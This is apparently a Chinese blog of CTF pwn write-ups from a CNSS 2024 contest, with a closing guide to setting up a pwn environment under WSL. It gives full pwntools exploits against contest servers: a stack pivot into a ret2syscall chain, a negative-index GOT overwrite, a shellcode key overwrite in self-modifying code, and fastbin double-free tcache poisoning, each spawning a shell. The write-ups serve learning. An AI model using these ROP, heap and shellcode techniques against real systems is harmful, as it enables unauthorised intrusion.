   谜语人题目,前置知识是看过头号玩家(至少是电影中的第一关)
   实现逻辑比较长,这里就不贴了,简单来说就是根据程序的随机输出,做一个类似Yes or No的游戏,初始有30分,50次机会,答对一次加一分,错一次减一分。玩完之后,有一个读入字符串的机会,有多少分就可以读多少字符。
   本题依然checksec魅力时刻
1
2
3
4
5
6
7
8
root@PainTech:/home/pwn/worktable/cnss2024# checksec pwn6
[*] '/home/pwn/worktable/cnss2024/pwn6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
   显示Canary found,实际上根本没有。一般题目可以在IDA中去找找__stack_chk_fail函数,如果有就是有Canary;但本题静态链接,东西多不好找,所以动调看rbp - 0x8有没有Canary,发现没有。
   本题的打法有两种,先说正解,也就是和头号玩家有关系的解法。

Screenshot 2024-09-27 103245.png

   关键点在于正着开不行要你倒着开。由于没Canary,所以要打一个栈溢出,但问题是如果全部答对,也只有80字节,这个大小只够恰好覆盖到返回地址,根本不够ROPchain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d
char v8[16]; // [rsp+0h] [rbp-50h] BYREF
char v9[40]; // [rsp+10h] [rbp-40h] BYREF // <-----目标字符串
int v10; // [rsp+38h] [rbp-18h]
int v11; // [rsp+3Ch] [rbp-14h]
int v12; // [rsp+40h] [rbp-10h]
int v13; // [rsp+44h] [rbp-Ch]
int i; // [rsp+48h] [rbp-8h]
unsigned int v15; // [rsp+4Ch] [rbp-4h] // <------得分和
// 也就是最后输入的字符串的长度
}
   细心的童鞋肯定发现,只有v15是无符号数,其他都是有符号数,恰巧又有对v15做减法的操作(答错题目),所以如果故意答错题目(既倒着开),v15就会向下溢出为一个很大正整数,此时构造ROPchain,打一个 ret2syscall 完全足够了。
   然后说另一种解法,也就是哥们独创的解法,还把aic给带偏了🤣。
   如果不考虑整型向下溢出的话,那么正好溢出到返回地址,于是可以按照栈迁移的思路来打。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.text:0000000000401B76 loc_401B76:                             ; CODE XREF: main+227↑j
.text:0000000000401B76 mov edx, 19h
.text:0000000000401B7B lea rax, aNowShowMeYourP ; "Now, show me your power!\n"
.text:0000000000401B82 mov rsi, rax
.text:0000000000401B85 mov edi, 1
.text:0000000000401B8A call write
.text:0000000000401B8F mov edx, 14h
.text:0000000000401B94 lea rax, aSayTheMagicWor ; "Say the magic word!\n"
.text:0000000000401B9B mov rsi, rax
.text:0000000000401B9E mov edi, 1
.text:0000000000401BA3 call write
.text:0000000000401BA8 mov edx, [rbp+var_4]
.text:0000000000401BAB lea rax, [rbp+var_40]
.text:0000000000401BAF mov esi, edx
.text:0000000000401BB1 mov rdi, rax
.text:0000000000401BB4 call myRead
.text:0000000000401BB9 mov eax, 0
.text:0000000000401BBE leave
.text:0000000000401BBF retn
.text:0000000000401BBF ; } // starts at 40192E
.text:0000000000401BBF main endp
   此处为 main() 最后的输入字符串的部分,注意到0x401BA8开始为myread()(可视为一般的read())准备参数,其中var_4var_40都是固定值(-4和-40),所以可以将rbp迁移到某个-4位置为一个较大数的位置,这样可以实现读大量字符串。
   于是去找一块符合条件的风水宝地
1
2
3
4
5
6
7
8
9
.data:00000000004A0277                 db    0
.data:00000000004A0278 db 0FFh
.data:00000000004A0279 db 0FFh
.data:00000000004A027A db 0FFh
.data:00000000004A027B db 0FFh
.data:00000000004A027C db 0FFh
.data:00000000004A027D db 0FFh
.data:00000000004A027E db 0FFh
.data:00000000004A027F db 0FFh
   随便找一个即可
   然后是返回地址,理论上可以选0x4019CE及以下的任意位置,但是上如果直接跳转到上面myread()的位置会SEGV,猜测是栈没布置好,访问到非法内存了,而跳转到0x4019CE就没有问题,当然这意味着要再来50组游戏,虽然这次可以随便玩。
1
2
3
4
5
6
7
.text:00000000004019C7                 mov     [rbp+var_4], 30
.text:00000000004019CE mov [rbp+var_10], 50
.text:00000000004019D5 lea rax, asc_474107 ; "-------------------------"
.text:00000000004019DC mov rdi, rax
.text:00000000004019DF call puts
.text:00000000004019E4 mov [rbp+var_8], 0
.text:00000000004019EB jmp loc_401B6A
   由我们控制的myread()结束后,程序将leave ret,这也是这种恰好只溢出返回地址的题目在栈迁移时关键的一点,既不将返回地址覆盖为leave ret,而是想办法要再次利用 read() ,往fake_rbp 上写一些东西,然后用函数末尾自带的leave ret,完成向目标位置的栈迁移。
   对于这题而言,leave ret的流程是将rsp骗到我们输入地址+0x40的位置,pop rbp该位置,然后ret上一个字长位置。这意味着需要在输入时设置0x40 + 0x8的没啥用数据,然后才是ROPchain。
   由于不是标解,所以把这种exp放上来,仅供参考
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context.log_level = "debug"
# io = process("./pwn6")
elf = ELF("./pwn6")
io = remote("152.136.11.155", 31514)
syscall = 0x401291
bin_sh = 0x474010
rax_ret = 0x41dd07
rdi_ret = 0x402368
rsi_ret = 0x409560
rdx_rcx_ret = 0x401855
main = 0x4019ce
myread = 0x401B7b
data_2 = 0x4A0698 + 4 # 0x4a069c
ret = 0x401016

for i in range(50):
io.recvuntil(b'-------------------------\n')
target = io.recvline()
print(target)
print(io.recvuntil(b'?'))
if target.find(b'Clomp') != -1:
io.sendline(b'O')
else:
io.sendline(b'C')

io.recvuntil(b'word!\n') # 80 0x50
payload = b'a'*0x40 + p64(data_2) + p64(main) # change rbp
io.send(payload)
sleep(0.1)

for i in range(50):
io.recvuntil(b'-------------------------\n')
target = io.recvline()
print(target)
print(io.recvuntil(b'?'))
if target.find(b'Clomp') != -1:
io.sendline(b'O')
else:
io.sendline(b'C')

payload = p64(ret)*8 + p64(oxdeadbeef)
payload += p64(rax_ret) + p64(59)
payload += p64(rdi_ret) + p64(bin_sh) + p64(rsi_ret) + p64(0)
payload += p64(rdx_rcx_ret) + p64(0) + p64(0) + p64(syscall)

io.recvuntil(b'word!\n') # 80 0x50
io.sendline(payload)

io.interactive()

🗒 凝眸回首映芳华

1
2
3
4
5
6
7
8
9
10
11
12
13
⚠ 题目描述
CNSS 娘觉得市面上的笔记软件都不安全,有被泄露的风险,于是自己手搓了一个笔记软件雏形出来~

nc 152.136.11.155 10036

💻 题目附件
点击下载

🚩 Flag格式
cnss{meaningful_sentence}

🔨 暴打出题人
@Timlzh
   以下是出题人的心路历程。

Screenshot 2024-09-27 112702.png
Screenshot 2024-09-27 112735.png
Screenshot 2024-09-27 112746.png

   看note知堆题,增删改看功能齐活.
1
2
3
4
5
6
7
8
[*] '/home/pwn/worktable/cnss2024/pwn8/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
SHSTK: Enabled
IBT: Enabled
   GOT表可写、然后没有PIE。没有堆题常见的UAF、堆溢出、offset-by-one等。不过即使具体漏洞还没找到,也依然可以先 leak libc
   首先strings ./libc.so.6 | grep "glibc" 可以看到版本为2.35,所以铁有tcache
1
2
3
4
5
6
7
8
9
10
for i in range(9):
add(i, 0x80, b'a') # 0 ~ 8
for i in range(8):
free(i) # free 0~7

for i in range(7):
add(i, 0x80, b'') # 0 ~ 8

add(8, 0x8, b'a'*8) # 8
show(8)
   show(8)时就把 libc 泄露了
   现在再来找具体的漏洞
   先关注一下堆信息的存储方式,也就是1. Create a new page of notes
1
2
3
4
5
6
7
8
9
10
case 1:
printf("Enter index: ");
v4 = readint();
printf("Enter length: ");
v8 = readint();
*((_DWORD *)&heap + 4 * v4) = v8;
*((_QWORD *)&heap + 2 * v4 + 1) = malloc((int)v8);
printf("Enter content: ");
readstr(*((_QWORD *)&heap + 2 * v4 + 1), v8);
break;
   v8malloc((int)v8)那两行就表明了堆信息的存储方式。对于这种东西,我的意见是,能看就看,不能看直接动调,如下。
1
2
3
4
5
6
7
# 申请一个0x10大小的堆,index = 0
pwndbg> x/10gx 0x4040C0
0x4040c0: 0x0000000000000010 0x00000000004052a0
0x4040d0: 0x0000000000000000 0x0000000000000000
0x4040e0: 0x0000000000000000 0x0000000000000000
0x4040f0: 0x0000000000000000 0x0000000000000000
0x404100: 0x0000000000000000 0x0000000000000000
   从动调直接看出,首先输入一个index,确认从heap(0x4040c0)开始的偏移,每16字节作为一个结构体,前8个存堆大小,后8个是堆的指针。
   接下来是2. View notes,就是打印
1
2
3
4
5
case 2:
printf("Enter index: ");
v5 = readint();
puts(*((const char **)&heap + 2 * v5 + 1));
break;
   用的puts,所以才能把libc + offset带出来,如果严格按堆大小输出,上面leak libc就没戏了。
   看看3. Delete notes
1
2
3
4
5
6
7
case 3:
printf("Enter index: ");
v6 = readint();
free(*((void **)&heap + 2 * v6 + 1));
*((_QWORD *)&heap + 2 * v6 + 1) = 0LL;
*((_DWORD *)&heap + 4 * v6) = 0;
break;
   没有UAF,下一个
   
1
2
3
4
5
6
if ( v3 != 4 )
break;
printf("Enter index: ");
v7 = readint();
printf("Enter content: ");
readstr(*((_QWORD *)&heap + 2 * v7 + 1), *((unsigned int *)&heap + 4 * v7));
   也没啥好说的。
   那整这么多没用的那么漏洞在哪里呢?对于这道题的漏洞,可能需要堆题方面的一些经验。
   一般的堆题,抛开堆信息的存储可能不同之外,都有一些固定的规律。第一,堆的索引是系统分配,程序查询可用索引进行分配;第二,堆的索引有一定限制,不能过大,也就是堆的申请数量有限制;第三,在分配或者释放堆块时,首先对存放堆信息的位置检查,确认目标位置,避免造成指针重复覆盖或者free()释放无效空间。
   所以再看这道题,这些特征完全没有,这也是为什么整体的逻辑实现较短。当我们回头再看case 1时,发现v4v8是有符号整型,尤其v4,由于堆信息的寻址不是数组访问,v4在寻址时不会被转化为整型,所以当v4为一个负数时,反而会反向去寻址,加上对该位置的赋值,实际上这是一个任意写的漏洞,不过只能每两个字长中写一个字长,即使这样也已经足够了。
   由于GOT表可写,并且已经leak libc,所以考虑使用负索引向上修改GOT表。要修改的GOT表需要满足两个条件。首先,GOT表项位于0x40xxx00x40xxx8,这个位置被用于存放v8的值;其次,由于v8int,只有低4位可以覆盖,需要更高的位置已经被填写,所以我们需要一个已经重定位过的GOT表项。考察上述两点,于是选择atoi()的GOT表。
   改完之后,在再发送'/bin/sh\x00'即可。
1
2
3
4
5
v8_4 = system_addr & 0xffffffff
info("low 4 bytes", v8_4)
add({简单计算偏移得到的负索引}, v8_4, b'a') # 更改后4bytes
io.sendline(b'/bin/sh\x00')
io.interactive()

🎮 Super Mario Code Revenge(😡Hard)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
⚠ 题目描述
Sh1no 出了一个简单的堆题。因为这个题太简单了所以 Sh1no 决定发挥他在 Re 里学到的高超技术——代码自解密壳来让你没法轻易逆向漏洞函数。

看不到了吧嘿嘿,快使用你高超的 Fuzz 技巧来试试吧!

nc 152.136.11.155 10038

💡 Hint
直接动态调试就可以看到加密部分的代码

💻 题目附件
点击下载

🚩 Flag格式
cnss{meaningful_sentence}
免责声明:flag 由 @Timlzh 提供

🔨 暴打出题人
@Shino
   最先上的一道hard题,属于是比较温油的hard,但还是hard。
   首先,根据提示,这个题使用了一个反逆向技术,叫做自修改代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall main(int argc, const char **argv, const char **envp)
{
size_t v3; // rcx
int i; // [rsp+4h] [rbp-Ch]
void *addr; // [rsp+8h] [rbp-8h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("================================================");
puts("| SUPER MARIO CODE REVENGE!!! |");
puts("| https://ctf-wiki.org/reverse/obfuscate/smc/ |");
puts("================================================");
puts("Enter ur name to enter the Mario World!:");
__isoc99_scanf("%s", name);
addr = (void *)((unsigned __int64)marioGame & -getpagesize());
v3 = getpagesize();
if ( mprotect(addr, v3, 7) >= 0 ) // <---------- 从这里开始
{
for ( i = 0; i <= 513; ++i )
*((_BYTE *)marioGame + i) ^= key[i % 10];
puts_banner(); // <--------- 一个打印界面的函数
marioGame(0); // <---------- 调用解密之后的函数
return 0;
}
else
{
puts("Mario Dies. Plz Try again or contact @Shino.");
return 0;
}
}
   甚至把攻略贴在文件里,哭死。
   可以看到,自修改代码就是在运行时解密代码,由于IDA是静态调试,所以无法呈现正确的代码。首先把加密代码段提权为rwx,原本的.text没有写权限,然后,从这个函数开始,每十字节位一轮,查表异或,直到全部解密完成。表是’Pwn5Shino!’这十个字节
   看一眼marioGame
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:0000000000401236 ; __unwind {
.text:0000000000401236 mov ds:3C8BE02006CF7078h, eax
.text:000000000040123F imul edx, ebx, 2EBC469Bh
.text:0000000000401245 mov ah, 0Dh
.text:0000000000401247 db 26h
.text:0000000000401247 in al, 25h
.text:000000000040124A jnz short loc_4012AB
.text:000000000040124C outsb
.text:000000000040124D xor eax, 2BE02053h
.text:0000000000401252 xchg edx, [rax]
.text:0000000000401254 nop
.text:0000000000401254 ; ---------------------------------------------------------------------------
.text:0000000000401255 db 3Fh, 0E3h, 30h
.text:0000000000401258 ; ---------------------------------------------------------------------------
.text:0000000000401258 jmp qword ptr [rbp+69h]
.text:0000000000401258 ; ---------------------------------------------------------------------------
.text:000000000040125B db 6Eh, 27h, 0A8h, 97h, 9Fh
.text:0000000000401260 dq 946AE32197ACCB02h, 3381AFDA7D6E775Dh, 65E630E33FAFDE91h
.text:0000000000401278 dq 0CB209F97A8276E69h, 775D996AE32197ACh, 0DE915181AFDA7D6Eh
.text:0000000000401290 dq 6E6965E230E33FAFh, 6853356ECF97A827h, 70E33FAFDE913581h
.text:00000000004012A8 db 0B3h, 20h, 0E0h
.text:00000000004012AB ; ---------------------------------------------------------------------------
.text:00000000004012AB
.text:00000000004012AB loc_4012AB: ; CODE XREF: .text:000000000040124A↑j
   可以看到IDA虽然做出尝试,但显然加密是有效的。
   考虑使用先使用IDApython,对这一段内容解密。注意先import idc

Screenshot 2024-09-27 203200.png

   下面是弄完后的效果。

Screenshot 2024-09-28 095529.png

   可以看到,识别了,但也没完全识别,和wiki上不一样。
   这是因为x86有庞大的指令集,这个函数实现逻辑略有复杂,所以IDA识别出现歧义也比较正常,而且IDA也没有检查反汇编结果是否合理。这时候就需要做一个手动引导。
   先打开动态调试,动态调试中可以看到正确汇编代码。

Screenshot 2024-09-28 100307.png

   对于这种错误识别的汇编指令,我们右键它,点击Undefine,可以将其还原为单字节。

Screenshot 2024-09-28 095912.png

   右键然后Assemble...,可以调出Patch窗口。注意只有汇编指令处才有这个选项,所有指令打开的窗口都是同一个。
   此时我们从动态调试中复制一条指令,比如首个未能正确解析的指令mov DWORD PTR [rbp-0x24],edi,将它复制到Assembly窗口栏中。绿色代表从这个位置开始匹配指令,粉色代表匹配到了指令的位置。

Screenshot 2024-09-28 101130.png

   然后,回车并退出这个窗口,右键刚刚解放出来的单字节,点击Code,就可以看到还原成功了。

Screenshot 2024-09-28 101351.png

   你可能发现,一条指令正确识别了,别的又错了,这很正常。重复上述操作,需要注意,有时候不需要手动汇编匹配右键就有Code按,也就是说,不用一条指令一条指令地去匹配。
   弄完了之后记得和动态调试的结果对比一下。
   可能是由于我IDA的问题,无法按照wiki上的方法反编译,只能根据Shino的提示先跳过这一段。

Screenshot 2024-09-28 102447.png

   不过这个题做完了之后,还是找到了反编译的方法,挺玄学,仅供参考。
   当确认反汇编无误之后,先使用Apply patches to修改二进制文件,退出IDA,删掉原先的.i64(或者干脆不打包),然后再IDA打开修改后的二进制文件,就可以反编译了😅(
   回到正题,这个漏洞确实不在加密函数里。注意到 __isoc99_scanf("%s", name);,这个东西可以理解为和gets(name)一样的东西,也就是存在溢出。这里的name是一个全局变量。
1
2
3
4
5
6
.data:0000000000404070                 public name
.data:0000000000404070 name db 'DefaultUserName',0 ; DATA XREF: main+93↑o
.data:0000000000404080 public key
.data:0000000000404080 key db 'Pwn5Shino!',0 ; DATA XREF: main+14C↑o
.data:0000000000404080 _data ends
.data:0000000000404080
   name正好在密钥的上面,也就是说可以通过溢出修改密钥。
   然后思考修改密钥有什么用,之前说到,密钥与密文对应异或,就可以得到原文,然后程序执行这一段的原文。所以说控制了密钥,就控制了解密出来的指令,然后执行我们控制的指令。
   那么这就好办了,由数学可知,使用密文去异或我们想要的指令,即可得到篡改后的密钥,下面是一个demo,注意返回的是字符串不是bytes
1
2
3
4
5
6
7
8
9
def genkey(sh, crypto):
key = ''
length = len(sh)
for i in range(length):
temp = chr(sh[i] ^ crypto[i])
key += temp
return key
# 原文里的前十位
crypto10 = b'\xa3\x78\x70\xcf\x06\x20\xe0\x8b\x3c\x69'
   想法美好,但现实残酷,由于本来的密钥只有10位,原文索引模10后查表异或,所以无论密钥如何篡改,可以自由支配的指令最多只有10位。
    显然10位的shellcode不足以getshell(),所以根据经验想办法用这10字节弄一个read的系统调用,然而调用一次read至少需要12字节,如果想要更多的读入,指令长度也会增长。
1
2
>>> len(asm(shellcraft.read(0, 'rsp', 0x1)))
12
   所以这个shellcode还是得手写。手写shellcode主要关注的是raxrdirsirdx,这四个寄存器,分别是系统调用号、文件流、读入的地址和读入字符数量。
   断点下载进入函数前(0x4015db),动态调试一下,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
RAX  0
RBX 0
RCX 0x7ffff7e97887 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 1
RDI 0
RSI 1
R8 0x467
R9 0x7ffff7fc9040 (_dl_fini) ◂— endbr64
R10 0x7ffff7d8b2e0 ◂— 0xf0022000056ec
R11 0x246
R12 0x7fffffffdb18 —▸ 0x7fffffffddd1 ◂— '/home/pwn/worktable/cnss2024/pwn11'
R13 0x401458 (main) ◂— endbr64 /* 0xe5894855fa1e0ff3 */
R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401200 (__do_global_dtors_aux) ◂— endbr64 /* 0x2ebd3d80fa1e0ff3 */
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x7fffffffda00 ◂— 1
RSP 0x7fffffffd9f0 ◂— 0x20200001000
RIP 0x4015db (main+387) ◂— call 0x401236 /* 0xb8fffffc56e8 */
   可以看到,raxrdi恰好都是0(read的调用号以及stdin),这两个就不用管了。主要弄剩下两个。
   demo1
1
2
3
4
5
6
7
shellcode1 = '''
mov rsi, 0x401240 ; 0x401236 + 10
mov rdx, 0x50
syscall
'''
>>> len(asm(shellcode1))
16
   显然demo1肯定不行了,这是因为syscall是固定2字节,而mov实际上是一个相当长的指令,在构造短shellcode是应尽量避免使用,尽量使用poppush指令,尤其在置空寄存器时,可以使用xor rax, rax
   demo2
1
2
3
4
5
6
7
8
9
shellcode2 = '''
push 0x401240
pop rsi
push 0x50
pop rdx
syscall
'''
>>> len(asm(shellcode2))
11
   玛德正好多一个
   仔细分析一下,rsi要求必须是一定的值,所以它的poppush省不了,但rdx不一样,只要是一个大数就行。注意到,此时由于call指令,rsp指向的是返回地址(0x4015E0),已经足够大,所以就把它的push给省掉。
   demo3
1
2
3
4
5
6
7
8
shellcode3 = '''
pop rdx
push 0x401240
pop rsi
syscall
'''
>>> len(asm(shellcode3))
9
   甚至还少一字节😜,结尾加一个nop占位,这样前面算密钥的就不用再改了。

⚡ FFFFree!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
⚠ 题目描述
魔法铁匠铺的独特笔记
无视空间,使用特殊链表相互连接

据传只需携带扉页
即可全数悉知笔记内容

匠人吟诵咒文,隐藏秘密的页码
后人倾力研究
至暴怒、至癫狂、至忘我、至死亡

还我自由!他们绝望地喊道……

💡 Hint
💻 题目附件
点击下载

🚩 Flag格式
cnss{meaningful_sentence}

🔨 暴打出题人
@Astesia
   介绍一下本题的数据结构。本题有关堆的结构是一个链表,链表分为控制信息和数据信息。首先控制信息有一个固定有一个head node,然后随着链表的添加接着添加其他的node
   大概是下面一个结构,某个结点free之后,idx就会被设置为0x7fffffff表示不可读,但本身还留在链表中;在show时,先从stdin中读取一个idx,然后用*next依次计数找到链表中第idx个结点,puts()*text的内容。一个这样的控制结点大小固定为0x18,也就是一个chunk固定为0x20
   然后是*text指向的数据域,也是指定大小范围0~0x70,也就是这个题和unsorted bin关系不大了。
   
1
2
3
4
5
struct node{
long long idx; // 有没有符号不太记得了
struct node *next;
_BYTE *text;
}
   glibc版本2.31,所以没办法打最原始的tcache double free 以及 poisoning,因为从Ubuntu20.04(也就是glibc2.31之前某个版本,好像2.28)就有对tcache double free的检查。
   针对这个double free的检查,可以通过UAF修改tcache chunk中的key值,或者通过堆溢出改tcache chunk的大小绕过检查,但显然这个题都没有。
   那么还有一种不那么常见的方法,虽然glibc2.31有针对tcache double free的检查,但是没有对于fastbindouble free的检查。虽然这么说,但实际上还是有一些防范措施。首先chunk接入fastbin时会检查fastbin栈顶的chunk,如果一样就会被检查出来会报fastbin的double free;其次,chunk接入fastbin时会在tcache bin中检查,如果发现存在一样则会报tcache bin的double free
   由于此题没用calloc(),所以malloc()时会先从tcache bin中取出chunk,然后把fastbin中的一个chunk挪到tcache bin中,这个挪的过程中不存在double free的检查,所以这个题还是可以打一个tcache poisoning以及__free_hook
   首先考虑泄露一下libc,这里选择tcache poisoning以及堆风水技巧将某个控制信息的chunk劫持到free()的got表项上,然后show出来即可。
   注意到,想修改*text,还需要先覆盖到*next,为了让链表正确地顺序寻址,这个题还需要泄露heap base
   得到libc基址之后,就是愉快地tcache poisoning以及__free_hook了。
   完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
from os import system
def debug(cmd=''):
system("gdb --pi={}".format(io.pid))
pause()
se = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda endstr, data : io.sendafter(endstr, data)
sla = lambda endstr, data : io.sendlineafter(endstr, data)
rc = lambda num=4096 : io.recv(num)
rl = lambda : io.recvline()
ru = lambda endstr : io.recvuntil(endstr)
info = lambda tag, addr : io.info(tag + ': {:#x}'.format(addr))
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))

context.log_level = 'debug'
# io = process("./pwn")
io = remote("152.136.11.155",30871)
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")

def add(size, content):
sla(b'0.Exit.\n>', b'1')
sla(b'Size?\n>', str(size))
if context != b'':
sa(b'Content?\n>', content)
sleep(0.01)

def show(idx): # from 1 to ...
sla(b'0.Exit.\n>', b'2')
sla(b'ord?\n>', str(idx))
sleep(0.05)

def free(idx):
sla(b'0.Exit.\n>', b'3')
sla(b'ord?\n>', str(idx))
sleep(0.05)

for i in range(9):
add(0x10, b'a') # 1~9
for i in range(1,8):
free(i)
free(8)
add(0x10, b'a') # 10
show(10)
ru(b'10:')
heap_base = uu64(rc(4)) - 0x361
info("heap_base", heap_base)
offset1 = 10

# leak libc
for i in range(12):
add(0x10, b'd') # 1~11
for i in range(1 + offset1, 8 + offset1):
free(i) # fill tcache

free(8 + offset1)
free(9 + offset1)
free(10 + offset1)
free(8 + offset1) # fastbin 0x20: 8->10->9->8
free(11 + offset1) # to deplete tcache

for i in range(4):
add(0x10, b'b') # 12~15 to deplete

add(0x10, b'c') # 17
add(0x18, p64(17 + offset1) + p64(heap_base + 0x6a0) + p64(elf.got['free'])) # 18
show(17 + offset1)
sleep(0.1)
ru(b':')
free_ = uu64(rc(6))
info("_free", free_)

# system
libc_base = free_ - libc.sym["free"]
system_ = libc_base + libc.sym["system"]
__free_hook = libc_base + libc.sym["__free_hook"]

offset2 = 28

# tcache poisioning
for i in range(10):
add(0x40, b'a')

for i in range(1, 8):
free(i + offset2) # tcache

free(8 + offset2)
free(9 + offset2)
free(8 + offset2)

for i in range(7):
add(0x40, b'a') # offset2 + 10
add(0x40, p64(__free_hook))
add(0x40, b'a')
add(0x40, b'aa')
add(0x40, p64(system_))

info("__free_hook", __free_hook)
info("system", system_)
add(0x30, b'/bin/sh\x00')
free(0x32)
io.interactive()

从头开始的pwn环境配置

Step0 关于为什么重新配置环境

   在此之前一直使用的是Kali镜像 + 虚拟机的组合,因为kali自称是专精于渗透和测试方面,预安装了许多的有用的工具。但实际操作下来,发现预安装的工具绝大多数都对pwn方向没有太大帮助,很多工具和环境还是需要手动配置,况且无论是vim还是idle编辑器说实话都不是特别好用。

   但最关键的其实是因为编译器项目要使用wsl,而在虚拟机里使用qemu需要开启虚拟化 intel vt-x/ept 或 amd-v/rvi 选项,而这个选项与wsl所需的Hyper-V相冲突。也就是说写kernel-pwn就没法同时做项目,做项目就没法写kernel-pwn,Hyper-V的开关都需要重启才能生效。

   考虑到wsl + vscode由于没有图形化,效率更上一层,所以写下以下blog记录从头开始的环境配置。

Step1 vscode + wsl

   略,网上攻略很多。
   有一点需要注意,就是wsl和window进行文件交换时,window文件可以直接拖拽到vsCode的文件侧栏里,反之vsCode里的wsl文件无法拖动到windows中,对此可以使用cp xxx /mnt/小写盘符/xxx将wsl文件交换到windows中,
   比如将某个文件放置在桌面上

1
$ cp pwn /mnt/c/Users/nobady/pwn

   其次一点,从windows拖拽到wsl理论的文件默认没有执行权限,记得对必要的文件使用chmod +x,包括可执行文件以及ld文件。

Step2 新建一个用户

   开启root的远程连接,直接adduser建立一个新用户。这一步单纯是为了获得一个干净的工作区,因为无论cmd还是vscode都是直接以root打开wsl的,本身就没有权限限制。

Step3 各种杂七杂八的小工具

 pwntools
1
2
3
4
5
$ apt update
$ apt upgrade
$ apt install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential -y
$ python3 -m pip install --upgrade pip
$ pip3 install --upgrade pwntools

   哥们sudo坏了,不知道是不是wsl都这样

1
2
3
4
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager, 
possibly rendering your system unusable.
It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv.
Use the --root-user-action option if you know what you are doing and want to suppress this warning.

   以root身份使用pip3会报如上warning,由于不打算用python做大型项目,选择忽略.

   简单检查一下

1
2
3
4
5
6
7
8
9
root@PainTech:/home/pwn# cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
root@PainTech:/home/pwn# checksec
usage: pwn checksec [-h] [--file [elf ...]] [elf ...]
root@PainTech:/home/pwn# python3
Python 3.10.12 (main, Jul 29 2024, 16:56:48) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> exit()
 glibc-all-in-one
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 示范一下如何安装使用
$ git clone https://github.com/matrix1001/glibc-all-in-one.git
$ pushd glibc-all-in-one
$ python3 update_list
[+] Common list has been save to "list"
[+] Old-release list has been save to "old_list"
$ cat list
2.23-0ubuntu11.3_amd64
2.23-0ubuntu11.3_i386
2.23-0ubuntu3_amd64
2.23-0ubuntu3_i386
2.27-3ubuntu1.5_amd64
2.27-3ubuntu1.5_i386
2.27-3ubuntu1.6_amd64
2.27-3ubuntu1.6_i386
2.27-3ubuntu1_amd64
2.27-3ubuntu1_i386
# i386是32位,amd64是64位
$ ./download 2.23-0ubuntu11.3_amd64
$ ls libs
2.23-0ubuntu11.3_amd64
 patchelf
1
2
3
4
5
6
# 还是示例
$ apt-get install patchelf
$ patchelf --set-interpreter ./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so targetfile
$ patchelf --replace-needed libc.so.6 ./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6 targetfile
# 或者patchelf --replace-needed libc.so.6 ./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so targetfile
# 去file libc.so.6你就知道为什么

   需要注意一般C程序只需要更改链接器和libc,如果不是C程序就使用ldd命令查看依赖项,然后再去网上找着配,这会是一个比较繁琐的过程。

 gdb插件(这里选择pwndbg)
1
2
3
4
5
6
7
8
9
10
11
12
13
$ git clone https://github.com/pwndbg/pwndbg
$ pusd pwndbg
$ ./setup.sh
sudo: /etc/sudo.conf is world writable
sudo: /etc/sudo.conf is world writable
sudo: error in /etc/sudo.conf, line 0 while loading plugin "sudoers_policy"
sudo: /usr/libexec/sudo/sudoers.so must be only be writable by owner
sudo: fatal error, unable to load plugins
sudo: /etc/sudo.conf is world writable
sudo: /etc/sudo.conf is world writable
sudo: error in /etc/sudo.conf, line 0 while loading plugin "sudoers_policy"
sudo: /usr/libexec/sudo/sudoers.so must be only be writable by owner
sudo: fatal error, unable to load plugins

   这里报错是因为sh脚本中有sudo,需要修改一下脚本

   (1)7-11行 和 155-159行,注释掉

   (2)查找所有sudo,然后全部删除

   init完成后提示

1
[*] Added 'source /home/pwn/pwndbg/gdbinit.py' to ~/.gdbinit so that Pwndbg will be loaded on every launch of GDB.

   提示要配置gdb的启动脚本

1
$ touch ~/.gdbinit ; echo 'source /home/pwn/pwndbg/gdbinit.py' > ~/.gdbinit

   注意由于是root用户,所以.gdbinit文件位置有所不同

